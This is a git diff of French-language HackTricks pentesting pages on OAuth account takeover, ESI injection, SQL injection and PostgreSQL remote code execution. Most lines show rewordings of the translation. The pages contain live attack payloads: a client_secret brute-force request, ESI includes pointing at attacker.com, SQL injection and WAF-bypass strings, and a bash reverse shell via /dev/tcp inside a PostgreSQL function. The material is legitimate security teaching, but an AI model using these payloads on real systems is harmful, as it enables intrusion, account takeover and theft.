- **client_secret** : Une clé confidentielle, connue uniquement de l'application et du serveur d'autorisation, utilisée pour générer des `access_tokens`.
|
||||
- **response_type** : Une valeur spécifiant **le type de token demandé**, comme `code`.
|
||||
- **scope** : Le **niveau d'accès** que l'`application cliente` demande au `resource owner`.
|
||||
- **scope** : Le **niveau d'accès** que l'`application cliente` demande au `propriétaire de la ressource`.
|
||||
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après l'autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée.
|
||||
- **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Son unicité est cruciale pour servir de **mécanisme de protection CSRF**.
|
||||
- **grant_type** : Un paramètre indiquant **le type de subvention et le type de token à retourner**.
|
||||
- **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé en tandem avec `client_id` et `client_secret` par l'application cliente pour acquérir un `access_token`.
|
||||
- **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `resource owner`.
|
||||
- **refresh_token** : Permet à l'application d'**obtenir un nouveau `access_token` sans redemander à l'utilisateur**.
|
||||
- **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `propriétaire de la ressource`.
|
||||
- **refresh_token** : Permet à l'application de **obtenir un nouveau `access_token` sans redemander à l'utilisateur**.
|
||||
|
||||
### Flux
|
||||
|
||||
@ -73,29 +72,29 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Mauvaise gestion du paramètre d'état <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut considérablement augmenter le risque d'attaques de **Cross-Site Request Forgery (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` est soit **non utilisé, utilisé comme une valeur statique, ou mal validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
Dans les implémentations OAuth, l'utilisation abusive ou l'omission du **`state` parameter** peut considérablement augmenter le risque d'attaques de **Cross-Site Request Forgery (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` est soit **non utilisé, utilisé comme une valeur statique, ou mal validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
|
||||
Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
|
||||
Les attaquants peuvent en profiter en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
|
||||
|
||||
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe** et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
|
||||
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **CTF challenges** et **hacking platforms**, mettant en évidence ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe**, et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
|
||||
|
||||
Une gestion et une validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth.
|
||||
Une gestion et une validation appropriées du **`state` parameter** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth.
|
||||
|
||||
### Pré prise de contrôle de compte <a href="#ebe4" id="ebe4"></a>
|
||||
### Pré Prise de Contrôle de Compte <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Sans vérification par e-mail lors de la création de compte** : Les attaquants peuvent créer préventivement un compte en utilisant l'e-mail de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l'application pourrait involontairement lier ce compte tiers au compte pré-créé de l'attaquant, entraînant un accès non autorisé.
|
||||
2. **Exploitation d'une vérification par e-mail OAuth laxiste** : Les attaquants peuvent exploiter des services OAuth qui ne vérifient pas les e-mails en s'inscrivant à leur service puis en changeant l'e-mail du compte pour celui de la victime. Cette méthode présente également un risque d'accès non autorisé au compte, semblable au premier scénario mais par un vecteur d'attaque différent.
|
||||
1. **Sans Vérification d'Email lors de la Création de Compte** : Les attaquants peuvent créer préventivement un compte en utilisant l'email de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l'application pourrait involontairement lier ce compte tiers au compte pré-créé de l'attaquant, entraînant un accès non autorisé.
|
||||
2. **Exploitation d'une Vérification d'Email OAuth Laxiste** : Les attaquants peuvent exploiter des services OAuth qui ne vérifient pas les emails en s'inscrivant avec leur service puis en changeant l'email du compte pour celui de la victime. Cette méthode présente également un risque d'accès non autorisé au compte, semblable au premier scénario mais par un vecteur d'attaque différent.
|
||||
|
||||
### Divulgation de secrets <a href="#e177" id="e177"></a>
|
||||
### Divulgation de Secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
Identifier et protéger les paramètres secrets OAuth est crucial. Bien que le **`client_id`** puisse être divulgué en toute sécurité, révéler le **`client_secret`** pose des risques significatifs. Si le `client_secret` est compromis, les attaquants peuvent exploiter l'identité et la confiance de l'application pour **voler des `access_tokens` d'utilisateur** et des informations privées.
|
||||
|
||||
Une vulnérabilité courante survient lorsque les applications gèrent par erreur l'échange du `code` d'autorisation contre un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous le couvert de l'application. De plus, par ingénierie sociale, les attaquants pourraient élever leurs privilèges en ajoutant des scopes supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
|
||||
Une vulnérabilité courante survient lorsque les applications gèrent par erreur l'échange du `code` d'autorisation contre un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous le couvert de l'application. De plus, par le biais d'ingénierie sociale, les attaquants pourraient élever leurs privilèges en ajoutant des scopes supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
|
||||
|
||||
### Bruteforce du Client Secret
|
||||
|
||||
Vous pouvez essayer de **bruteforcer le client_secret** d'un fournisseur de services avec le fournisseur d'identité afin d'essayer de voler des comptes.\
|
||||
La requête pour le BF peut ressembler à :
|
||||
La requête pour BF peut ressembler à :
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
@ -105,23 +104,23 @@ Connection: close
|
||||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Fuite du code + état dans l'en-tête Referer
|
||||
### Référent Header leaking Code + State
|
||||
|
||||
Une fois que le client a le **code et l'état**, s'ils sont **réfléchis dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
|
||||
### Jeton d'accès stocké dans l'historique du navigateur
|
||||
### Access Token Stocké dans l'Historique du Navigateur
|
||||
|
||||
Allez dans **l'historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
|
||||
Allez dans l'**historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
|
||||
|
||||
### Code d'autorisation éternel
|
||||
### Code d'Autorisation Éternel
|
||||
|
||||
Le **code d'autorisation ne devrait vivre que pendant un certain temps pour limiter la fenêtre temporelle où un attaquant peut le voler et l'utiliser**.
|
||||
Le **code d'autorisation ne devrait vivre que pendant un certain temps pour limiter la fenêtre de temps où un attaquant peut le voler et l'utiliser**.
|
||||
|
||||
### Jeton d'autorisation/rafraîchissement non lié au client
|
||||
### Jeton d'Autorisation/Refresh non lié au client
|
||||
|
||||
Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client différent, alors vous pouvez prendre le contrôle d'autres comptes**.
|
||||
|
||||
### Chemins heureux, XSS, Iframes et messages postaux pour fuir les valeurs de code et d'état
|
||||
### Chemins Heureux, XSS, Iframes & Post Messages pour fuir les valeurs de code & d'état
|
||||
|
||||
[**Vérifiez ce post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
|
||||
@ -146,22 +145,24 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
```
|
||||
Pour plus d'informations détaillées sur la façon d'abuser d'AWS cognito, consultez :
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Abus des tokens d'autres applications <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Comme [**mentionné dans cet article**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), les flux OAuth qui s'attendent à recevoir le **token** (et non un code) pourraient être vulnérables s'ils ne vérifient pas que le token appartient à l'application.
|
||||
|
||||
C'est parce qu'un **attaquant** pourrait créer une **application supportant OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **token OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter dans l'application OAuth de la victime en utilisant le token utilisateur de la victime**.
|
||||
Ceci est dû au fait qu'un **attaquant** pourrait créer une **application supportant OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **token OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter dans l'application OAuth de la victime en utilisant le token utilisateur de la victime**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Par conséquent, si l'attaquant parvient à faire accéder l'utilisateur à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui s'attendent à un token et ne vérifient pas si le token a été accordé à leur ID d'application.
|
||||
|
||||
### Deux liens & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir à une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette info serait **stockée dans un cookie (RU)** et à une **étape ultérieure**, le **prompt** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant.
|
||||
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir à une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette info serait **stockée dans un cookie (RU)** et dans une **étape ultérieure**, le **prompt** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant.
|
||||
|
||||
Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** dans la redirection.
|
||||
Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** lors de la redirection.
|
||||
|
||||
### Contournement de l'interaction du prompt <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -178,7 +179,7 @@ Comme [**expliqué dans cette vidéo**](https://www.youtube.com/watch?v=n9x7_J_a
|
||||
|
||||
### Flux OAuth ROPC - contournement de 2 FA <a href="#b440" id="b440"></a>
|
||||
|
||||
Selon [**cet article de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), il s'agit d'un flux OAuth qui permet de se connecter à OAuth via **nom d'utilisateur** et **mot de passe**. Si, au cours de ce flux simple, un **token** avec accès à toutes les actions que l'utilisateur peut effectuer est retourné, alors il est possible de contourner 2FA en utilisant ce token.
|
||||
Selon [**cet article de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), il s'agit d'un flux OAuth qui permet de se connecter à OAuth via **nom d'utilisateur** et **mot de passe**. Si, au cours de ce flux simple, un **token** avec accès à toutes les actions que l'utilisateur peut effectuer est retourné, alors il est possible de contourner la 2FA en utilisant ce token.
|
||||
|
||||
### ATO sur une page web redirigeant en fonction de la redirection ouverte vers le référent <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -187,7 +188,7 @@ Ce [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) commen
|
||||
1. La victime accède à la page web de l'attaquant
|
||||
2. La victime ouvre le lien malveillant et un opener commence le flux OAuth de Google avec `response_type=id_token,code&prompt=none` comme paramètres supplémentaires en utilisant comme **référent le site web de l'attaquant**.
|
||||
3. Dans l'opener, après que le fournisseur autorise la victime, il les renvoie à la valeur du paramètre `redirect_uri` (site web de la victime) avec un code 30X qui garde toujours le site web de l'attaquant dans le référent.
|
||||
4. Le site web de la victime **déclenche la redirection ouverte basée sur le référent** redirigeant l'utilisateur victime vers le site web de l'attaquant, comme le **`respose_type`** était **`id_token,code`**, le code sera renvoyé à l'attaquant dans le **fragment** de l'URL lui permettant de prendre le contrôle du compte de l'utilisateur via Google sur le site de la victime.
|
||||
4. Le **site web de la victime déclenche la redirection ouverte basée sur le référent**, redirigeant l'utilisateur victime vers le site web de l'attaquant, comme le **`respose_type`** était **`id_token,code`**, le code sera renvoyé à l'attaquant dans le **fragment** de l'URL lui permettant de prendre le contrôle du compte de l'utilisateur via Google sur le site de la victime.
|
||||
|
||||
### Paramètres SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -201,9 +202,9 @@ L'enregistrement dynamique de clients dans OAuth sert de vecteur moins évident
|
||||
- Cette fonctionnalité adhère aux spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables aux SSRF.
|
||||
- Le processus d'enregistrement peut involontairement exposer les serveurs aux SSRF de plusieurs manières :
|
||||
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou menant à un XSS si l'URL est mal gérée.
|
||||
- **`jwks_uri`** : Une URL vers le document JWK du client, qui si elle est malicieusement conçue, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par un attaquant.
|
||||
- **`jwks_uri`** : Une URL vers le document JWK du client, qui, si elle est malicieusement conçue, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par un attaquant.
|
||||
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
|
||||
- **`request_uris`** : Énumère les URI de demande autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
|
||||
- **`request_uris`** : Énumère les URI de requête autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
|
||||
|
||||
**Stratégie d'exploitation :**
|
||||
|
||||
@ -219,5 +220,4 @@ Si la plateforme que vous testez est un fournisseur OAuth [**lisez ceci pour tes
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -57,7 +57,7 @@ Une expression SSI typique a le format suivant :
|
||||
## Inclusion côté serveur
|
||||
|
||||
Il y a un problème **de mise en cache des informations ou des applications dynamiques** car une partie du contenu peut avoir **varié** pour la prochaine fois que le contenu est récupéré. C'est ce à quoi **ESI** est utilisé, pour indiquer en utilisant des balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
|
||||
Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter du contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
|
||||
### Détection ESI
|
||||
|
||||
@ -95,12 +95,20 @@ hell<!--esi-->o
|
||||
- **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
|
||||
- **Cookie** : Les cookies du document sont accessibles au moteur ESI
|
||||
- **En-têtes en amont requis** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
|
||||
- **Liste blanche des hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes
|
||||
- **Liste blanche d'hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes
|
||||
|
||||
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche des hôtes** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :--------------------------: |
|
||||
| Squid3 | Oui | Oui | Oui | Oui | Non |
|
||||
| Varnish Cache
|
||||
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche d'hôtes** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :-----------------------: |
|
||||
| Squid3 | Oui | Oui | Oui | Oui | Non |
|
||||
| Varnish Cache | Oui | Non | Non | Oui | Oui |
|
||||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
|
||||
#### XSS
|
||||
|
||||
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
@ -130,7 +138,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
```
|
||||
#### Fichier Local Privé
|
||||
|
||||
Ne pas confondre cela avec une "Inclusion de Fichier Local":
|
||||
Ne pas confondre cela avec une "Inclusion de Fichier Local" :
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
@ -175,7 +183,7 @@ Cela enverra des informations de débogage incluses dans la réponse :
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transformations (XSLT)`** dans ESI simplement en indiquant la valeur du paramètre **`dca`** comme **`xslt`**. Cela pourrait permettre d'abuser de **XSLT** pour créer et exploiter une vulnérabilité d'Entité Externe XML (XXE) :
|
||||
Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transformations (XSLT)`** dans ESI simplement en indiquant la valeur du paramètre **`dca`** comme **`xslt`**. Cela pourrait permettre d'abuser de **XSLT** pour créer et exploiter une vulnérabilité d'entité externe XML (XXE) :
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
@ -199,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Liste de Détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Qu'est-ce que l'injection SQL ?
|
||||
|
||||
Une **injection SQL** est une faille de sécurité qui permet aux attaquants de **perturber les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **voir**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée à laquelle l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
|
||||
@ -133,14 +132,16 @@ Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en s
|
||||
|
||||
### Identification avec PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Exploitation basée sur Union
|
||||
|
||||
### Détection du nombre de colonnes
|
||||
|
||||
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
|
||||
Tout d'abord, nous devons déterminer le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\
|
||||
Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Deux méthodes sont généralement utilisées à cet effet :
|
||||
|
||||
#### Order/Group by
|
||||
@ -206,7 +207,7 @@ En suivant un flux similaire à celui de l'exploitation basée sur des unions, v
|
||||
## Exploiter le Blind SQLi
|
||||
|
||||
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distinguer** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\
|
||||
Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère :
|
||||
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère :
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
@ -240,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Exploitation Automatisée
|
||||
|
||||
Vérifiez la [SQLMap Cheatsheet](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Vérifiez le [SQLMap Cheatsheet](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informations spécifiques à la technologie
|
||||
|
||||
@ -266,7 +267,7 @@ Liste à essayer pour contourner la fonctionnalité de connexion :
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
|
||||
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, conduisant à un accès non autorisé.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -392,7 +393,7 @@ Exemple :
|
||||
|
||||
### Contournement sans espaces
|
||||
|
||||
Pas d'espace (%20) - contournement utilisant des alternatives d'espacement
|
||||
Pas d'espace (%20) - contournement en utilisant des alternatives d'espaces blancs
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -409,9 +410,9 @@ Pas d'espace - contournement en utilisant des parenthèses
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Bypass sans virgules
|
||||
### Contournement sans virgules
|
||||
|
||||
Bypass sans virgule - utilisant OFFSET, FROM et JOIN
|
||||
Contournement sans virgule - contournement utilisant OFFSET, FROM et JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -460,7 +461,9 @@ Cette astuce a été tirée de [https://secgroup.github.io/2017/01/03/33c3ctf-wr
|
||||
|
||||
### Outils de suggestion de contournement WAF
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Autres Guides
|
||||
|
||||
@ -469,7 +472,9 @@ Cette astuce a été tirée de [https://secgroup.github.io/2017/01/03/33c3ctf-wr
|
||||
|
||||
## Liste de Détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@ PostgreSQL a été développé avec l'extensibilité comme caractéristique prin
|
||||
|
||||
À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.
|
||||
|
||||
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers vers la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
||||
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE sous Linux
|
||||
|
||||
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec :
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE sous Windows
|
||||
|
||||
@ -277,10 +279,10 @@ Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour ce
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Remarque que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
|
||||
_Remarque que tu n'as pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
|
||||
|
||||
Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lisez l'une des versions précédentes_).\
|
||||
Pour plus d'informations, **lis la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lis n'importe quelle des versions précédentes_).\
|
||||
Sur la même page, cet **exploit pour automatiser** cette technique a été donné :
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -30,7 +30,7 @@ url-format-bypass.md
|
||||
|
||||
### Contournement via redirection ouverte
|
||||
|
||||
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permettra **SSRF vers le même domaine** et suivra probablement **les redirections**, vous pouvez exploiter la **redirection ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
|
||||
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permettra **SSRF au même domaine** et suivra probablement **les redirections**, vous pouvez exploiter la **redirection ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
|
||||
